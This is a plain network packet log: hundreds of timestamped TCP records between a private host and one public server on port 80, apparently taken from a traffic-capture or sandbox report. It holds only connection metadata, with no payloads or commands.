Nov 20, 2024 09:14:51.656838894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656848907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656860113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656869888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656889915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656900883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656909943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656913042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656924963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656934977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656945944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656949043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656956911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656972885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656974077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656987906 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.657011986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.657212973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.657223940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.657233953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.657244921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.657254934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.657265902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.657272100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.657278061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.657289028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.657299995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.657310963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.657313108 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.657345057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.657363892 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.741390944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741405964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741422892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741434097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741451025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741456985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741463900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741485119 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.741493940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741525888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.741539001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.741643906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741662979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741681099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741703033 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.741728067 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.741786957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741800070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741816044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741827011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741839886 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.741853952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.741883993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741889000 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.741895914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741906881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741919041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741925955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.741930962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741945028 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.741976023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.741976976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.741990089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742032051 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742093086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742104053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742115974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742140055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742140055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742152929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742160082 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742165089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742198944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742214918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742238998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742264032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742275953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742285967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742295980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742305040 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742307901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742338896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742351055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742424965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742435932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742446899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742455959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742466927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742469072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742479086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742491007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742491007 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742530107 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742573977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742584944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742594957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742604971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742614985 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742616892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742629051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742640018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742645979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742651939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742683887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742683887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742707014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742716074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742731094 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742750883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742877960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742889881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742901087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742912054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742924929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742928982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742948055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742959023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742959976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742971897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742981911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.742986917 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.742994070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.743012905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.743016958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.743025064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.743036032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.743047953 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.743067980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.743092060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.743103027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.743118048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.743129969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.743130922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.743160009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.743160963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.743172884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.743195057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.743226051 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.882714033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882730007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882750034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882756948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882767916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882775068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882786989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882802963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882822037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882833958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882854939 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.882886887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882900953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882901907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.882913113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882925987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882930040 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.882939100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882950068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882961988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882961988 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.882992983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.882996082 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.883004904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883017063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883028030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883033037 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.883040905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883052111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883063078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.883064032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883106947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.883138895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883150101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883157969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883163929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883169889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883213043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.883255005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883268118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883284092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883295059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883307934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883316040 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.883327007 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.883359909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883362055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.883397102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883404016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.883411884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883424997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.883440018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.883460999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.180907011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181047916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181052923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181060076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181072950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181087017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181097984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181106091 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181137085 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181197882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181216002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181229115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181238890 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181241035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181255102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181265116 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181292057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181360006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181370974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181382895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181394100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181405067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181405067 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181421041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181423903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181446075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181469917 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181526899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181539059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181550980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181561947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181591034 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181607008 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181680918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181693077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181703091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181718111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181730032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181730986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181742907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181746960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181778908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181826115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181838036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181849957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181859970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181885004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181905031 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.181984901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.181996107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182007074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182017088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182022095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182037115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182046890 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182136059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182147026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182157993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182168961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182179928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182183027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182193995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182220936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182285070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182296038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182307959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182333946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182343960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182436943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182451010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182461023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182472944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182485104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182496071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182496071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182527065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182594061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182605028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182615995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182631969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182640076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182646036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182658911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182668924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182703972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182703972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182719946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182754040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182766914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182777882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182789087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182817936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182830095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.182950974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.182960987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.183001041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.485953093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.485970020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.485994101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486008883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486025095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486037970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486052990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486068964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486135006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486135960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486150980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486166000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486172915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486188889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486201048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486205101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486218929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486226082 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486233950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486247063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486254930 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486282110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486320019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486332893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486347914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486362934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486372948 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486378908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486383915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486383915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486392975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486393929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486411095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486435890 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486448050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486463070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486484051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486488104 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486498117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486499071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486512899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486515999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486535072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486548901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486597061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486610889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486624002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486635923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486680984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:52.486726046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486740112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:52.486768007 CET	80	49701	42.193.100.57	192.168.2.11
